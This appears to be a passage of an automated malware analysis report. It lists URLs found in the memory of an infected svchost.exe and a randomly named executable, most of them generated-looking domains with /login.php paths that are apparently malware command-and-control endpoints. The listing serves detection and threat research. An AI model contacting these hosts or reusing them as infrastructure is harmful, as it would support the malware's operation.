Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334859023.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysynaj.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000721000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysynur.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysytoj.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404361246.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2504670847.000000000331A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyvan.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyvud.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2646107568.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2813315381.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2750428178.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2788231276.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801006471.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3282598602.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607985509.0000000003353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysywon.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysywyd.com/login.php
Source: svchost.exe, 00000002.00000003.2347368990.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347595407.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyxar.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvygon.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyguj.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyjoj.com/login.php
Source: svchost.exe, 00000002.00000003.2534942140.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799665980.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580138663.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2639783827.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513891995.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577725092.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744282585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3281377881.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2501199142.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2781606589.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2681961070.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2812761855.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746922918.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2508227965.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2281429661.000000000861B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2606611423.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2645351612.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2280606997.0000000000882000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyjox.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772865274.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2769955415.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381391655.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771520849.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377032828.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvylyx.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvymun.com/login.php
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynid.com/http://qeqyqep.com/http://lymymax.com/http://gadyzib.com/
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynid.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvysur.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2764486074.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyver.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyvix.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvywed.com/login.php
Source: svchost.exe, 00000002.00000003.2334859023.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337298832.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337435190.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335316915.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvywux.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582641786.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyxyj.com/login.php
Source: svchost.exe, 00000002.00000002.3402132488.000000000866C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2400732439.00000000058C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397460144.000000000874C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394798813.000000000873D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397017800.00000000058C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396330335.000000000873D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398044993.00000000058C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397423438.000000000874A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyfan.com/
Source: svchost.exe, 00000002.00000002.3402132488.000000000866C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3281377881.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2812761855.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268019512.000000000866D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyfan.com/H
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297525559.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458870.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305813558.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyfar.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyfuj.com/login.php
